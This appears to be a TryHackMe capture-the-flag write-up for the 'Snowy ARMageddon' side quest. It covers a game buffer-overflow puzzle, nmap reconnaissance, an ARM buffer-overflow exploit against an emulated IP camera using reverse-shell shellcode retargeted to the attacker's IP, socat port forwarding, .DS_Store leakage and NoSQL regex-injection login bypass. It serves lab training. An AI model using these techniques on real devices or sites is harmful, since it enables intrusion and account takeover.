Snowy ARMageddon
Assist the Yeti in breaching the cyber police perimeter! - by andrea526
Last updated
Assist the Yeti in breaching the cyber police perimeter! - by andrea526
Last updated
All banner and comic images are courtesy of TryHackMe - https://www.tryhackme.com
The QR Code to Side Quest 2 can be found in the Challenge Task 12 [Day 6] Memory corruption Memories of Christmas Past
There it states about a glitch that is hiding somewhere:
Van Jolly still thinks the Ghost of Christmas Past is in the game. She says she has seen it with her own eyes! She thinks the Ghost is hiding in a glitch, whatever that means. What could she have seen?
Get 16 Coins from the PC, and let's start.
With the 16 Coins, we create a name to overwrite our wallet memory to reach the inventory in the next naming attempt.
aaaabbbbccccdddd
The first attempt was to get all the items that are available in the store, and those which are not listed. If we look in the store, the items all have an ID, which suggests that the IDs are numbered from 1 to 16 in hex (but as an ASCII value).
So we not only overwrite the coins to a very high value but also write all possible IDs into our inventory. The Glitch did not appear, even after adding an ASCII 0 to the inventory.
Ok, the next attempt is to buy the stuff, that is not listed in the shop. Maybe the item IDs in the shop do not exactly correlate to the actual item IDs. 0 is not there, f is out of stock. If we now try to buy the item with ID a from the shopkeeper, we receive the message that our money is not enough. So we go back to the drawing board and add more coins to our wallet.
Ok, let's get more coins, we just write zzzz
to the coin buffer.
If we buy now the a
item, our coin value goes to zero and the glitch appears
He has the following to say:
First, we have to restart the game, since we are out of coins and the computer is broken and won't give us anymore.
It reads as if we not only have to overwrite our inventory, but also have exactly, 31337 coins in our inventory, rename all characters and enter something somewhere or somehow.
Restart game
Get 16 coins
Rename your character aaaabbbbddddd
Rename the characters in order to get the NULL character
Ted aaaabbbbccccddddffffgggghhhhTed
Midas aaaabbbbcccc~~zzMidas
Get enough coins to buy item a and buy new names. (rename your character aaaabbbbcccc~~zz
)
Buy the item with ID a in the shop
Write 31345 to your wallet (have 8 coins left to rename yourself) aaaabbbbccccqz
Rename yourself to Snowball (name him last for NULL character)
Enter the code
Almost all conditions met. Just the code is missing.
After just researching for the 30 lives secret code, we get the cheat code used in Contra. Let's give it a try.
Upon entering the code (just hitting the keys, by moving arround; START = ENTER) the games goes nuts. After talking to the yeti, the QR code is revealed.
First we restart the game, get 16 coins, and write enough coins to our inventory.
We rename the characters in a specific order to get the NULL characteras at the correct positions. We start with the namer_name
, the easiest one. Next, we chose to name the shopkeeper
, but also have to write the exact value of coins we need. If we write Midas, and in a next attempt the coins, the M of Midas gets a NULL character. So we have to do it in one go.
We buy the a
item.
Now the explanation for the exact amount of coins:
We have to have more coins in the wallet than we can get with zzzz
, but just enough so that the last two fields have a hex value of zero. Since we have to reach 31337
coins (which is 7469
in hex or zi
as ASCII value) represented in only 2 characters. We cannot enter a zero byte, we have to choose our value carefully. We take ~~zz
. So if we buy the Item with the ID a in the shop, we still have about 1028
coins left to overwrite the buffer.
Getting the coins and buy the item a
:
With the 1028
coins left, or in other words the characters ''
we can now place an amount that would be zi
. But then if we rename our character, 8
coins would be missing. So we need 8
more coins, having us to write, 31345
to the wallet. Which is in hex 7a71
. Resulting to zq
in ASCII. Since the values are interpreted in little-endian we have to provide the values in reverse order.
OK, let's start with side quest number 2 and see what we have in front of us.
https://nmap.org/book/synscan.html
We start off with a Nmap scan. We do a stealth scan, recalling the Yeti Hints: Alright, my frosty friend, it's time to gear up for a simulated red team engagement.
Think like the Yeti – be stealthy, keep it low-profile. […] Remember, this is all about bein' as silent as the falling snow and as cunning as the arctic fox.
We are able to detect four open ports.
Next, we start a version and default script scan on the found ports.
On port 22, running OpenSSH version 8.2p1 and operating on Ubuntu Linux with protocol 2.0.
Additionally, port 23 is open, yet the service running on this port remains unidentified, presenting itself as "tcpwrapped." On port 8080, an Apache HTTP server, specifically version 2.4.57. Attempts to access this server result in a 403 Forbidden error, with the HTTP title "TryHackMe | Access Forbidden - 403."
Furthermore, port 50628 is open, and although the specific service is unidentified, the server's response to requests includes 302 redirects, suggesting possible HTTP-like behavior.
We have to do it quietly, otherwise the endpoint 50628 closes. A nmap -sT
scan establishes a full TCP connection and is easily detectable.
The reconnaissance on port 8080 was the uninteded path and is not possible after a patch. This section got removed. The stuff can be done after getting the first flag. The steps taken can be followed in the last section of the writeup on how to get the yetikey.
We should now have everything together to get the flags, right?
Since we initially focused on the endpoint 8080, as it was enumerable in its unpatched unintended form, we found the second flag first, but take into account the order that the room gives us through its questions and clues.
We will explain how we should actually proceed with the end point 8080 after the first flag and recommend starting with 50628.
We visit the endpoint at port 50628
and are greeted with a small interface for a surveillance camera, the NC-227WF HD 720P
. Interesting. The old thing Yeti was talking about.
This clunky old device is a buzzin', ripe for the pickin'. If we can get our claws into this enigmatic device, we'll have ourselves a sly backdoor right into the CyberPolice's icy fortress
If we click on Enter, we immediately receive a login prompt. A basic authorization query. We enter any credentials for the user admin, cancel, and see that the user admin was at least correct once. The first idea was to brute force the login, but that would be too easy and did not succeed. As we will see why later.
While searching for possible exploits and how to get such a camera into a VM, we come across the following two articles:
Then after a long search, We came across this article.
This is a writeup of "a brand new IP camera CTF challenge". Here, the author describes how he used the said login with a buffer overflow to execute his shellcode to build a reverse shell. Wow. It's almost done for us, so why not try it out instead of building an EMUX
setup and looking for exploits. That can be always done afterwards if this attempt fails. It looks like the author also left a ready script with shellcode. Theoretically, we only have to adjust the IPs and edit the shellcode so that it contains the IP of our machine and not the IP of the machine of the author 192.168.100.1
.
Here is the author's script:
In the shellcode we have to adjust the line SC += b'\x59\x1f\xa0\xe3\x01\x14\xa0\xe1\xa8\x10\x81\xe2\x01\x14\xa0\xe1\xc0\x10\x81\xe2\x04\x10\x2d\xe5' # 192.168.100.1
.
We use shell-storm.org to decompile them and see what the code looks like in assembler.
We paste that line in, click disassemble and it gets directly converted:
SC += b'\\x59\\x1f\\xa0\\xe3\\x01\\x14\\xa0\\xe1\\xa8\\x10\\x81\\xe2\\x01\\x14\\xa0\\xe1\\xc0\\x10\\x81\\xe2\\x04\\x10\\x2d\\xe5' # 192.168.100.1
We see that 0x164
is written to the register, then there is a logical shift left by 8 bits. Then 0x8a
is added to the register, which corresponds to 168
decimal. Then there is another logical shift left and 0xc0
is added to the register, corresponding to 192
decimal. So the IP address is written to register r1
, ok. The 0x164
looks strange at first. But let's take a closer look.
0x164
is a number exceeding 8 bits. If we split it in 8 bit registers, we get the number 1 and 100. Nice, those are the last two parts of the IP address of the author. This was probably done to avoid bad characters.
Let's take a quick turn to anticipate something we're about to come across.
In the context of computer security and exploitation, "bad characters" in shellcode refer to specific bytes or characters that may cause issues when included in the payload. These issues can arise due to the way the target system or application processes the input. Common examples of bad characters include:
Null byte (0x00): Null bytes can terminate strings in C and other languages. If the target application treats null bytes as string terminators, they can truncate the payload.
Newline (0x0A) and Carriage Return (0x0D): These characters might interfere with the interpretation of shellcode by certain programs or the operating system.
Whitespace characters: Tabs, spaces, and other whitespace characters can cause problems, especially in situations where input is parsed or tokenized.
Special characters: Some special characters may have special meanings in certain contexts and can disrupt the interpretation of the payload.
Network-related characters: If the payload is intended to be transmitted over a network, certain characters may interfere with the communication or be misinterpreted by network protocol
Ok, so let's generate our own shellcode for our IP. For this, we take the assembler code from before and adapt it a little and write our IP directly into it. Our IP is 10.8.211.1
:
We insert the generated little endian assembly, adjust the IPs and execute the script. Great, we get the warning BAD CHARACTER. Thankfully, the author thought to include a check. Unfortunately, the check did not work too well, the position was not specified.
This has just been adjusted, and we also get the previous sequence of shellcode to see it with the naked eye.
And as already mentioned, we can certainly guess what caused this. Our own IP. We wrote in the 10 directly without thinking anything of it. The 10 is 0x0a
in hex, a newline. We should have seen that even without the review.
We adapt the assembly and do not write 10 directly, but simply add 8 to 2 and get our 10.
Here is the assembly to copy and modify:
The generated shellcode for the IP 10.8.211.1
results in:
After we have generated the shellcode, we replace it in line 25 and insert our desired LHOST
and LPORT
and enter the IP of our target in line 52.
After executing the script, we actually get a reverse shell. This has saved us a lot of work. I still recommend that you read the article https://no-sec.net/arm-x-challenge-breaking-the-webs/ and try it yourself if necessary. I have it on my todo list.
At first glance, we can't do much except look around.
We seem to be root, at least we can browse his home directory.
Since there is not much we can do, we have no choice but to go through all the directories manually. And we find credentials in /var/etc/umconfig.txt
. It could be the credentials for the login to the camera interface. This was a lucky find, but the file could also have been found in /.emux
.
We click on Enter and provide the credentials admin:[READACTED]
.
After we have entered the access data, we get a glimpse of Frosteau's office with the first flag underneath.
yetikey2.txt
file?After l4m3r8 pointed out that the path shown is not the intended one, I extended the writeup with the intended one, after redoing the stuff again. So IP addresses may differ.
We have to continue with our established reverse shell!
On the machine itself, we can see that when we call the page on port 8080, we get a different response code than before, 401 instead of 403. It is possible that we can successfully attack the endpoint from here
So now we have to forward the port so that we can make it available to our attacker machine.
Unfortunately, socat is not present on the machine, and we already know that it is an ARM-emulated machine. This can be confirmed by /proc/cpuinfo
. So we need an arm static binary from socat.
Here we can find some useful binaries:
We provide them through a Python web server. And can bring them to the machine by having wget on the target machine.
The first attempt was the Quiet Port Forwarding method. Unfortunately, this was unstable and always led to disconnections. Scripts, Gobuster, or normal surfing could not be carried out.
Instead, we use the loud method Port Forwarding (from Remote Machine) and open a port on the machine. However, we realize that this is only available locally and we cannot access it from outside.
But we know that an endpoint will be forwarded in any case. 50628 is it. So the idea is to find out which process is serving 50628 and kill it. Then we assign the port with our port forwarding.
Netstat is unfortunately not on the machine either, but no problem, we also get it as a static arm binary:
Run ./netstat-armel-static -tulpen
to get the process ID of the application running on 50628.
We see webs is running the on port 50628.
After we have killed the process of webs, we notice that it is created again directly. So we have to be quick.
We chain the commands together to immediately forward the port after killing the process webs, which occupies port 50628.
Kill the process and forward 10.10.1.201:8080
on 50628
instead:
kill 11097; ./socat-armel-static tcp-listen:50628,fork,reuseaddr tcp:10.10.1.201:8080
From here we can continue the enumeration and exploitation on 50628 instead of 8080!
The path shown here refers to the endpoint on port 8080. That we can extract and exploit the necessary information here is an unintended path and will probably be patched.
The exploit itself and the process remain the same, you can follow this section along. Only the intended path focuses on the forwarded port 50268 instead of 8080. From there, we have to do all the stuff described below. So, if you see 10.10.19.234:8080 in the screenshot, replace that with your TARGET_IP:50628. This assumes that you were able to forward the port correctly.
The following reconnaissance section was originally part of the reconnaissance section of the report relating to Port 8080. The steps shown can be replicated on port 50628.
First, we visit the endpoint on port 8080. We are greeted by McSkidys grumpy face with a HTTP 403.
We hit up Gobuster to enumerate possible directories. We are not able to spot a lot. But there is a /vendor
directory, that results in a redirection to /vendor/
, interesting.
We extend our scan to include file endings like .php
, but immediately get 403s responses. Looks like everything in the list gets a 403.
Ok, let's use nikto, maybe we are able to spot some vulnerabilities with it. There are two interesting ones. First, we see that we retrieve a x-powered-by
header and a PHPSESSID
cookie on /index.php/123
. Secondly, there are .DS_Store files
.
Let's stay in order and check the finding on index.php/123
. There seems to be a misconfiguration, that trailing slashes to a .php
resolve to a page. Nice, we got /login.php/
, /index.php/
and /logout.php/
.
Ok, let's look at the .DS_Store
files now.
.DS_Store
files are a macOS system file that stores custom attributes of a folder, such as the position of icons or the choice of a background image.
Nikto suggests that we can extract even more information here: /.DS_Store
: Apache on Mac OSX will serve the .DS_Store
file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
The webpage https://miloserdov.org/?p=3867 provides a detailed description of the process for exploiting .DS_Store
files.
To retrieve all .DS_Store
files, we use the ds_store_exp
; then, employ python_dsstore
to read and analyze the contents of these files.
We get a .DS_Store
from the root directory and from the vendor directory.
Nice, we find some dependencies that could have been installed, including mongodb.
I hope you can follow along with the after edit writeup, I hope I can manage to update it soon.
Voice from the off "Let's go to the forwarded page hosted on port 50628
. "
Let's go back to the page hosted on port 8080
. We have already been able to find out a lot in our Recon. The pages index.php
and login.php
are accessible with a trailing slash. Mongodb seems to be running on the server. Since we do not have access to any resources and can probably only get access via a successful login, we first visit the login page.
Let's check whether NoSQL-injection is possible. To do this, we use Burp Suite, intercept the login request and continue our attack in the repeater. Here we edit the parameters as presented in hacktricks.
With invalid credentials, we do not get access.
In PHP, you can send an Array, changing the sent parameter from parameter=foo
to parameter [arrName]=foo
. So we make use of $regex
to match to everything in the database. This time we see that we get a redirect. Unfortunately, the redirect leads us directly to login.php and not login.php/
. No big deal, we now open the browser.
By visiting the index.php/
page, reveals that we successfully logged in to the user matching the regex first. We are the user Frostbite.
Ok, now we try to find all users, and check their index page, maybe one of those users has special privileges to move on or even contains the flag.
In order to get quick results and not spend a lot of time writing your own scripts, we can already find suitable scripts for this challenge on GitHub. The first thing we find is the following:
You can scroll down for the less tedious way if you want.
But the script has its weaknesses. As soon as it has a character match, it moves on and doesn't consider all possible character combinations. As a result, we can only enumerate seven users in this way. This only became apparent when all the found users did not lead to anything fruitful, and then enumerating the passwords revealed more entries. Here we have 16 passwords but only 7 users. At this point we could have stopped and taken the conspicuous password [REDACTED] and logged in with it, but at the time of the challenge we were a bit blind. We edited the script so that it checked the characters in reverse order and thus obtained other users. For users with the same character pattern as Frost, for example, we then used Burp Suite Intruder to manually enumerate all users. Then we logged us in with each of these users via Burp Repeater, copied the resulting PHPSESSID into the browser, and lo and behold Frosteau has our Yeti key.
Running the script takes some time, so grab a coffee.
Using the modified script in reversed order gives us the following.
Still we are missing at least 5 users, if not even more, considering we have not found all passwords yet.
Next, we manually enumerate with Burp Intruder Module using a payload list from a-Z. We consider, that there are more users with the same character pattern. In simple words, there are several Frost-, Grinch-, S- and Tinsel- usernames.
After doing it manually we are able to find 17 usernames. Nice.
We’ll try them all in Burp Repeater.
And use the resulting PHPSESSID
to access the /index.php/
page via the browser. Fortunately, Frosteau holds the important Yeti key.
Thanks to the possibility of using NoSQL-injection enumeration, we are not only able to log in with any user we know, but also with any password without knowing the users. We log in with the user whose password matches, so to speak. From the enumerated passwords with the script, one stands out in particular.
Command to gather most passwords:
We can log in with this password.
When we transfer the PHPSESSID
and call up the /index.php/
page, we see that it was Frosteau's password. We are logged in as this user and have access to his dashboard, which contains the yetikey2.txt
.
Check out Sumanroy's writeups: https://sumanroy.gitbook.io/ctf-writeups/
For fully automated exploits created by my teammates, visit their GitHub profiles:
The following post by 0xb0b is licensed under CC BY 4.0